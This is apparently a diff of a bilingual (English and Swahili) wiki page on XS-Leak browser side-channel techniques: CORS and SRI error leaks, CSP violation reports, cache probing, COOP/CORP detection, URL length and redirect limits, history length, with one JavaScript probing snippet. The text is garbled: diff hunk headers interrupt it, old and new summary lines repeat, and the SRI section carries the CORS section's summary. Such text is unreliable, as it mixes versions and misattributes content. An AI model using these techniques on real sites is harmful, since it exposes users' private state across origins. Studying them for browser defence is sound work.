- **Summary:** Katika Security Assertions (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
- **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
This technique enables an attacker to **extract the destination of a cross-origin site's redirect** by exploiting how Webkit-based browsers handle CORS requests. Specifically, when a **CORS-enabled request** is sent to a target site that issues a redirect based on user state and the browser subsequently denies the request, the **full URL of the redirect's target** is disclosed within the error message. This vulnerability not only reveals the fact of the redirect but also exposes the redirect's endpoint and any **sensitive query parameters** it may contain.
Hii mbinu inamuwezesha mshambuliaji **kuchukua eneo la kuhamasisha la tovuti ya cross-origin** kwa kutumia jinsi vivinjari vya Webkit vinavyoshughulikia maombi ya CORS. Kwa hakika, wakati **ombio la CORS** linatumwa kwa tovuti lengwa inayotoa uhamasishaji kulingana na hali ya mtumiaji na kivinjari kinakataa ombi hilo, **URL kamili ya lengo la uhamasishaji** inafichuliwa ndani ya ujumbe wa kosa. Uthibitisho huu hauonyeshi tu ukweli wa uhamasishaji bali pia unafichua mwisho wa uhamasishaji na **parameta za uchunguzi za siri** ambazo zinaweza kuwa nazo.
### SRI Error
@ -490,18 +490,18 @@ This technique enables an attacker to **extract the destination of a cross-origi
- **Summary:** Katika Security Assertions (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
- **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
An attacker can exploit **verbose error messages** to deduce the size of cross-origin responses. This is possible due to the mechanism of Subresource Integrity (SRI), which uses the integrity attribute to validate that resources fetched, often from CDNs, haven't been tampered with. For SRI to work on cross-origin resources, these must be **CORS-enabled**; otherwise, they're not subject to integrity checks. In Security Assertions (SA), much like the CORS error XS-Leak, an error message can be captured after a fetch request with an integrity attribute fails. Attackers can deliberately **trigger this error** by assigning a **bogus hash value** to the integrity attribute of any request. In SA, the resulting error message inadvertently reveals the content length of the requested resource. This information leakage allows an attacker to discern variations in response size, paving the way for sophisticated XS-Leak attacks.
Mshambuliaji anaweza kutumia **ujumbe wa kosa wa kina** ili kubaini ukubwa wa majibu ya cross-origin. Hii inawezekana kutokana na mfumo wa Subresource Integrity (SRI), ambao unatumia sifa ya uaminifu kuthibitisha kwamba rasilimali zilizopatikana, mara nyingi kutoka kwa CDNs, hazijaharibiwa. Ili SRI ifanye kazi kwenye rasilimali za cross-origin, hizi lazima ziwe **CORS-enabled**; vinginevyo, haziko chini ya ukaguzi wa uaminifu. Katika Security Assertions (SA), kama vile kosa la CORS XS-Leak, ujumbe wa kosa unaweza kukamatwa baada ya ombi la fetch lililoshindwa na sifa ya uaminifu. Wavamizi wanaweza kwa makusudi **kuanzisha kosa hili** kwa kupewa **thamani ya hash isiyo sahihi** kwa sifa ya uaminifu ya ombi lolote. Katika SA, ujumbe wa kosa unaotokana bila kukusudia unafichua urefu wa maudhui ya rasilimali iliyohitajika. Uvujaji huu wa taarifa unamuwezesha mshambuliaji kubaini tofauti katika ukubwa wa majibu, na kuweka njia kwa mashambulizi ya kisasa ya XS-Leak.
### CSP Violation/Detection
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Status Code
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
- **Summary:** Kuruhusu tovuti ya waathirika pekee katika CSP ikiwa tumeipata inajaribu kuelekeza kwenye kikoa tofauti CSP itasababisha kosa linaloweza kugundulika.
- **Summary:** Kuruhusu tovuti ya wahanga pekee katika CSP ikiwa tumeipata inajaribu kuhamasisha kwenye kikoa tofauti CSP itasababisha kosa linaloweza kugundulika.
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to **allow the target domain on the attacker site**. Once a request is issued to the target domain, it **redirects** to a cross-origin domain. **CSP blocks** the access to it and creates a **violation report used as a leak technique**. Depending on the browser, **this report may leak the target location of the redirect**.\
Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.
XS-Leak inaweza kutumia CSP kugundua ikiwa tovuti ya cross-origin ilihamishwa kwa asili tofauti. Uvujaji huu unaweza kugundua uhamasishaji, lakini pia, kikoa cha lengo la uhamasishaji kinavuja. Wazo la msingi la shambulio hili ni **kuruhusu kikoa lengwa kwenye tovuti ya mshambuliaji**. Mara ombi linapotolewa kwa kikoa lengwa, linahamasisha kwa kikoa cha cross-origin. **CSP inazuia** ufikiaji wake na kuunda **ripoti ya ukiukaji inayotumika kama mbinu ya uvujaji**. Kulingana na kivinjari, **ripoti hii inaweza kuvuja eneo la lengo la uhamasishaji**.\
Vivinjari vya kisasa havitafichua URL ambayo ilihamishwa, lakini bado unaweza kugundua kwamba uhamasishaji wa cross-origin ulianzishwa.
### Cache
@ -511,9 +511,9 @@ Modern browsers won't indicate the URL it was redirected to, but you can still d
- **Summary:** Futa faili kutoka kwenye cache. Fungua ukurasa wa lengo angalia ikiwa faili ipo kwenye cache.
- **Code Example:**
Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has **requested a specific file**.
Vivinjari vinaweza kutumia cache moja iliyoshirikiwa kwa tovuti zote. Bila kujali asili yao, inawezekana kubaini ikiwa ukurasa wa lengo ume **omba faili maalum**.
If a page loads an image only if the user is logged in, you can **invalidate** the **resource** (so it's no longer cached if it was, see more info links), **perform a request** that could load that resource and try to load the resource **with a bad request** (e.g. using an overlong referer header). If the resource load **didn't trigger any error**, it's because it was **cached**.
Ikiwa ukurasa unaload picha tu ikiwa mtumiaji ameingia, unaweza **kubatilisha** **rasilimali** (hivyo si tena cached ikiwa ilikuwa, angalia viungo vya maelezo zaidi), **fanya ombi** ambalo linaweza kupakia rasilimali hiyo na kujaribu kupakia rasilimali hiyo **kwa ombi mbaya** (kwa mfano, kutumia kichwa cha referer kilichozidi). Ikiwa rasilimali ilipakia **haikuletea kosa lolote**, ni kwa sababu ilikuwa **cached**.
### CSP Directive
@ -523,27 +523,27 @@ If a page loads an image only if the user is logged in, you can **invalidate** t
- **Summary:** Miongozo ya kichwa cha CSP inaweza kuchunguzwa kwa kutumia sifa ya iframe ya CSP, ikifichua maelezo ya sera.
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
A novel feature in Google Chrome (GC) allows web pages to **propose a Content Security Policy (CSP)** by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must **authorize this via an HTTP header**, or an **error page is displayed**. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to **detect specific CSP directives** of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a **new leak technique** capable of detecting the error page, suggesting that the underlying problem was never fully addressed.
Kipengele kipya katika Google Chrome (GC) kinaruhusu kurasa za wavuti **kupendekeza Sera ya Usalama wa Maudhui (CSP)** kwa kuweka sifa kwenye kipengele cha iframe, huku miongozo ya sera ikitolewa pamoja na ombi la HTTP. Kawaida, maudhui yaliyoingizwa lazima **yathibitishwe kupitia kichwa cha HTTP**, au **ukurasa wa kosa unaonyeshwa**. Hata hivyo, ikiwa iframe tayari inasimamiwa na CSP na sera iliyopendekezwa mpya si kali zaidi, ukurasa utafunguka kawaida. Mfumo huu unafungua njia kwa mshambuliaji **gundua miongozo maalum ya CSP** ya ukurasa wa cross-origin kwa kutambua ukurasa wa kosa. Ingawa udhaifu huu ulitambuliwa kama umerekebishwa, matokeo yetu yanaonyesha **mbinu mpya ya uvujaji** inayoweza kugundua ukurasa wa kosa, ikionyesha kwamba tatizo la msingi halikushughulikiwa kikamilifu.
### **CORP**
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Header
- **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Summary:** Rasilimali zilizolindwa na Sera ya Rasilimali za Mipaka ya Msalaba (CORP) zitatupa kosa wakati zinapojaribiwa kutoka kwa asili isiyoruhusiwa.
- **Summary:** Rasilimali zilizohifadhiwa na Sera ya Rasilimali za Cross-Origin (CORP) zitatupa kosa wakati zinapojaribiwa kutoka kwa asili isiyoruhusiwa.
- **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
The CORP header is a relatively new web platform security feature that when set b**locks no-cors cross-origin requests to the given resource**. The presence of the header can be detected, because a resource protected with CORP will **throw an error when fetched**.
Kichwa cha CORP ni kipengele kipya cha usalama wa jukwaa la wavuti ambacho kinapowekwa **kinazuia maombi ya cross-origin yasiyo na cors kwa rasilimali iliyotolewa**. Uwepo wa kichwa hiki unaweza kugundulika, kwa sababu rasilimali iliyo na CORP itatoa **kosa wakati inajaribiwa**.
### CORB
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **Summary**: CORB can allow attackers to detect when the **`nosniff` header is present** in the request.
- **Summary**: CORB inaweza kuruhusu wavamizi kugundua wakati **kichwa cha `nosniff` kiko** katika ombi.
- **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
Check the link for more information about the attack.
Angalia kiungo kwa maelezo zaidi kuhusu shambulio.
### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
@ -553,8 +553,8 @@ Check the link for more information about the attack.
- **Summary**: Ikiwa kichwa cha Origin kinarejelewa katika kichwa `Access-Control-Allow-Origin` inawezekana kuangalia ikiwa rasilimali iko kwenye cache tayari.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
In case the **Origin header** is being **reflected** in the header `Access-Control-Allow-Origin` an attacker can abuse this behaviour to try to **fetch** the **resource** in **CORS** mode. If an **error** **isn't** triggered, it means that it was **correctly retrieved form the web**, if an error is **triggered**, it's because it was **accessed from the cache** (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain)**.**\
Note that if the origin isn't reflected but a wildcard is used (`Access-Control-Allow-Origin: *`) this won't work.
Katika kesi ambapo **kichwa cha Origin** kinarejelewa katika kichwa `Access-Control-Allow-Origin`, mshambuliaji anaweza kutumia tabia hii kujaribu **kupata** **rasilimali** katika **CORS** mode. Ikiwa **kosa** **halijazuiliwa**, inamaanisha kwamba ilipatikana **kwa usahihi kutoka wavuti**, ikiwa kosa **limezuiliwa**, ni kwa sababu ilipatikana **kutoka kwenye cache** (kosa linaonekana kwa sababu cache inahifadhi jibu lenye kichwa cha CORS kinachoruhusu kikoa cha asili na si kikoa cha mshambuliaji)**.**\
Kumbuka kwamba ikiwa asili haijarejelewa lakini wildcard inatumika (`Access-Control-Allow-Origin: *`) hii haitafanya kazi.
## Readable Attributes Technique
@ -563,53 +563,53 @@ Note that if the origin isn't reflected but a wildcard is used (`Access-Control-
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Status Code
- **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
- **Summary:** GC and SA allow to check the responses type (opaque-redirect) after the redirect is finished.
- **Summary:** GC na SA huruhusu kuangalia aina ya majibu (opaque-redirect) baada ya uhamasishaji kukamilika.
- **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
Submitting a request using the Fetch API with `redirect: "manual"` and other params, it's possible to read the `response.type` attribute and if it's equals to `opaqueredirect` then the response was a redirect.
Kuwasilisha ombi kwa kutumia Fetch API na `redirect: "manual"` na vigezo vingine, inawezekana kusoma sifa ya `response.type` na ikiwa ni sawa na `opaqueredirect` basi jibu lilikuwa uhamasishaji.
### COOP
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Summary:** Kurasa zilizolindwa na Sera ya Mfunguo wa Mipaka ya Msalaba (COOP) zinazuia ufikiaji kutoka kwa mwingiliano wa mipaka ya msalaba.
- **Summary:** Kurasa zilizohifadhiwa na Sera ya Mfunguo wa Cross-Origin (COOP) zinazuia ufikiaji kutoka kwa mwingiliano wa cross-origin.
- **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the **`contentWindow` reference**. In scenarios where COOP is applied conditionally, the **`opener` property** becomes a telltale indicator: it's **undefined** when COOP is active, and **defined** in its absence.
Mshambuliaji ana uwezo wa kubaini uwepo wa kichwa cha Sera ya Mfunguo wa Cross-Origin (COOP) katika jibu la HTTP la cross-origin. COOP inatumika na programu za wavuti kuzuia tovuti za nje kupata marejeleo ya dirisha yasiyo ya kawaida. Uwezo wa kuona kichwa hiki unaweza kubainishwa kwa kujaribu kufikia **`contentWindow` reference**. Katika hali ambapo COOP inatumika kwa masharti, **sifa ya `opener`** inakuwa kiashiria: ni **undefined** wakati COOP inatumika, na **defined** katika ukosefu wake.
### URL Max Length - Server Side
- **Inclusion Methods**: Fetch API, HTML Elements
- **Detectable Difference**: Status Code / Content
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa majibu ya kuelekeza unaweza kuwa mrefu sana kwamba seva inajibu kwa kosa na tahadhari inaundwa.
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kiasi kwamba seva inajibu kwa kosa na tahadhari inaundwa.
- **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
If a server-side redirect uses **user input inside the redirection** and **extra data**. It's possible to detect this behaviour because usually **servers** has a **limit request length**. If the **user data** is that **length - 1**, because the **redirect** is using **that data** and **adding** something **extra**, it will trigger an **error detectable via Error Events**.
Ikiwa uhamasishaji wa upande wa seva unatumia **ingizo la mtumiaji ndani ya uhamasishaji** na **data za ziada**. Inawezekana kugundua tabia hii kwa sababu kawaida **seva** zina **kikomo cha urefu wa ombi**. Ikiwa **data ya mtumiaji** ni **urefu - 1**, kwa sababu **uhamasishaji** unatumia **data hiyo** na **kuongeza** kitu **cha ziada**, itasababisha **kosa linaloweza kugundulika kupitia Matukio ya Kosa**.
If you can somehow set cookies to a user, you can also perform this attack by **setting enough cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) so with the **response increased size** of the **correct response** an **error** is triggered. In this case, remember that is you trigger this request from a same site, `<script>` will automatically send the cookies (so you can check for errors).\
An example of the **cookie bomb + XS-Search** can be found in the Intended solution of this writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
Ikiwa unaweza kwa namna fulani kuweka cookies kwa mtumiaji, unaweza pia kufanya shambulio hili kwa **kweka cookies za kutosha** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) hivyo na **kuongezeka kwa ukubwa wa jibu** la **jibu sahihi** kosa **linasababishwa**. Katika kesi hii, kumbuka kwamba ikiwa unazindua ombi hili kutoka tovuti moja, `<script>` itatuma cookies moja kwa moja (hivyo unaweza kuangalia makosa).\
Mfano wa **cookie bomb + XS-Search** unaweza kupatikana katika Suluhisho lililokusudiwa la andiko hili: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` or to be in the same context is usually needed for this type of attack.
`SameSite=None` au kuwa katika muktadha sawa kawaida inahitajika kwa aina hii ya shambulio.
### URL Max Length - Client Side
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Status Code / Content
- **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa majibu ya kuelekeza unaweza kuwa mrefu sana kwa ombi kwamba tofauti inaweza kuonekana.
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kwa ombi kiasi kwamba tofauti inaweza kuonekana.
- **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB.
Kulingana na [nyaraka za Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), urefu wa juu wa URL wa Chrome ni 2MB.
> In general, the _web platform_ does not have limits on the length of URLs (although 2^31 is a common limit). _Chrome_ limits URLs to a maximum length of **2MB** for practical reasons and to avoid causing denial-of-service problems in inter-process communication.
> Kwa ujumla, _jukwaa la wavuti_ halina mipaka juu ya urefu wa URLs (ingawa 2^31 ni kikomo cha kawaida). _Chrome_ inakadiria URLs hadi urefu wa juu wa **2MB** kwa sababu za vitendo na ili kuepuka kusababisha matatizo ya kukataa huduma katika mawasiliano ya kati ya mchakato.
Therefore if the **redirect URL responded is larger in one of the cases**, it's possible to make it redirect with a **URL larger than 2MB** to hit the **length limit**. When this happens, Chrome shows an **`about:blank#blocked`** page.
Hivyo ikiwa **URL ya uhamasishaji ilijibu ni kubwa katika moja ya kesi**, inawezekana kufanya ihamasishwe na **URL kubwa zaidi ya 2MB** ili kufikia **kikomo cha urefu**. Wakati hii inatokea, Chrome inaonyesha ukurasa wa **`about:blank#blocked`**.
The **noticeable difference**, is that if the **redirect** was **completed**, `window.origin` throws an **error** because a cross origin cannot access that info. However, if the **limit** was \*\*\*\* hit and the loaded page was **`about:blank#blocked`** the window's **`origin`** remains that of the **parent**, which is an **accessible information.**
Tofauti **inayoonekana**, ni kwamba ikiwa **uhamasishaji** ulikamilika, `window.origin` inatoa **kosa** kwa sababu asili ya cross-origin haiwezi kufikia taarifa hiyo. Hata hivyo, ikiwa **kikomo** kilipatikana na ukurasa ulio loaded ulikuwa **`about:blank#blocked`** asili ya **`origin`** inabaki kuwa ya **mzazi**, ambayo ni **taarifa inayoweza kufikiwa.**
All the extra info needed to reach the **2MB** can be added via a **hash** in the initial URL so it will be **used in the redirect**.
Maelezo yote ya ziada yanayohitajika kufikia **2MB** yanaweza kuongezwa kupitia **hash** katika URL ya awali ili itumike katika uhamasishaji.
{{#ref}}
xs-search/url-max-length-client-side.md
@ -620,30 +620,30 @@ xs-search/url-max-length-client-side.md
- **Inclusion Methods**: Fetch API, Frames
- **Detectable Difference**: Status Code
- **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
- **Summary:** Tumia kikomo cha kuelekeza cha kivinjari ili kubaini kuwepo kwa kuelekeza URL.
- **Summary:** Tumia kikomo cha uhamasishaji wa kivinjari kubaini kuwepo kwa uhamasishaji wa URL.
- **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
If the **max** number of **redirects** to follow of a browser is **20**, an attacker could try to load his page with **19 redirects** and finally **send the victim** to the tested page. If an **error** is triggered, then the page was trying to **redirect the victim**.
Ikiwa **idadi ya juu** ya **uhamasishaji** kufuata ya kivinjari ni **20**, mshambuliaji anaweza kujaribu kupakia ukurasa wake na **uhamasishaji 19** na hatimaye **kumpeleka mwathirika** kwenye ukurasa uliojaribiwa. Ikiwa **kosa** linazuiliwa, basi ukurasa ulikuwa unajaribu **kuhamasisha mwathirika**.
### History Length
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Redirects
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Summary:** JavaScript code manipulates the browser history and can be accessed by the length property.
- **Summary:** Msimbo wa JavaScript unashughulikia historia ya kivinjari na unaweza kufikiwa kupitia sifa ya urefu.
- **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
The **History API** allows JavaScript code to manipulate the browser history, which **saves the pages visited by a user**. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation.\
**Checking `history.length`**, making a user **navigate** to a page, **change** it **back** to the same-origin and **checking** the new value of **`history.length`**.
**API ya Historia** inaruhusu msimbo wa JavaScript kushughulikia historia ya kivinjari, ambayo **huhifadhi kurasa zilizotembelewa na mtumiaji**. Mshambuliaji anaweza kutumia sifa ya urefu kama mbinu ya kujumuisha: kugundua JavaScript na urambazaji wa HTML.\
**Kuangalia `history.length`**, kumfanya mtumiaji **kuhamasisha** kwenye ukurasa, **kubadilisha** tena **kurudi** kwenye asili sawa na **kuangalia** thamani mpya ya **`history.length`**.
### History Length with same URL
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: If URL is the same as the guessed one
- **Summary:** Inawezekana kudhani ikiwa eneo la fremu/popup liko katika URL maalum kwa kutumia urefu wa historia.
- **Code Example**: Below
- **Detectable Difference**: Ikiwa URL ni sawa na ile iliyokisiwa
- **Summary:** Inawezekana kukisia ikiwa eneo la frame/pop-up liko kwenye URL maalum kwa kutumia urefu wa historia.
- **Code Example**: Chini
An attacker could use JavaScript code to **manipulate the frame/pop-up location to a guessed one** and **immediately** **change it to `about:blank`**. If the history length increased it means the URL was correct and it had time to **increase because the URL isn't reloaded if it's the same**. If it didn't increased it means it **tried to load the guessed URL** but because we **immediately after** loaded **`about:blank`**, the **history length did never increase** when loading the guessed url.
Mshambuliaji anaweza kutumia msimbo wa JavaScript **kushughulikia eneo la frame/pop-up kwa URL iliyokisiwa** na **haraka** **kuibadilisha kuwa `about:blank`**. Ikiwa urefu wa historia umeongezeka inamaanisha URL ilikuwa sahihi na ilikuwa na muda wa **kuongezeka kwa sababu URL haiwezi kupakuliwa ikiwa ni sawa**. Ikiwa haikuongezeka inamaanisha ilijaribu kupakia URL iliyokisiwa lakini kwa sababu tulipakia **`about:blank`** mara moja, **urefu wa historia haukuongezeka** wakati wa kupakia URL iliyokisiwa.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -672,7 +672,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
Kuhesabu **idadi ya frames katika wavuti** iliyofunguliwa kupitia `iframe` au `window.open` kunaweza kusaidia kubaini **hali ya mtumiaji juu ya ukurasa huo**.\
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia **kuendelea** idadi ya frames kunaweza kusaidia kubaini **mwelekeo** ambao unaweza kuvuja taarifa.
Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa **kuhesabu frames** kwa sababu `embed` inatumika ndani. Kuna [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) ambazo zinatoa udhibiti fulani juu ya maudhui kama vile `zoom`, `view`, `page`, `toolbar` ambapo mbinu hii inaweza kuwa ya kuvutia.
Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa **kuhesabu frames** kwa sababu `embed` inatumika ndani. Kuna [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) ambazo zinatoa udhibiti fulani juu ya maudhui kama `zoom`, `view`, `page`, `toolbar` ambapo mbinu hii inaweza kuwa ya kuvutia.
### HTMLElements
@ -682,13 +682,13 @@ Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa
- **Summary:** Soma thamani iliyovuja ili kutofautisha kati ya hali 2 zinazowezekana
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Uvujaji wa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamikali zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha saizi ya media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
Uvujaji wa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamik zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha ukubwa wa media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
### Information Exposed by HTML Elements
- **HTMLMediaElement**: Kipengele hiki kinafichua `duration` na `buffered` za media, ambazo zinaweza kufikiwa kupitia API yake. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLMediaElement**: Kipengele hiki kinaonyesha `duration` na `buffered` za media, ambazo zinaweza kufikiwa kupitia API yake. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Inafichua `videoHeight` na `videoWidth`. Katika baadhi ya vivinjari, mali za ziada kama `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, na `webkitDecodedFrameCount` zinapatikana, zikitoa taarifa zaidi kuhusu maudhui ya media. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuashiria kiasi cha data ya video iliyop processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **getVideoPlaybackQuality()**: Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuonyesha kiasi cha data ya video iliyop processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Kipengele hiki kinavuja `height` na `width` ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya `image.decode()` itakataliwa, ikionyesha kushindwa kwa kupakia picha ipasavyo. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
@ -699,7 +699,7 @@ Uvujaji wa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavu
- **Summary:** Tambua tofauti katika mtindo wa wavuti zinazohusiana na hali au hadhi ya mtumiaji.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Programu za wavuti zinaweza kubadilisha mtindo wa **wavuti kulingana na hali ya mtumiaji**. Faili za CSS za kuvuka mipaka zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia **HTML link element**, na **kanuni** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa unabadilisha kanuni hizi kwa njia ya kidinamikali, mshambuliaji anaweza **kutambua** **tofauti** hizi kulingana na hali ya mtumiaji.\
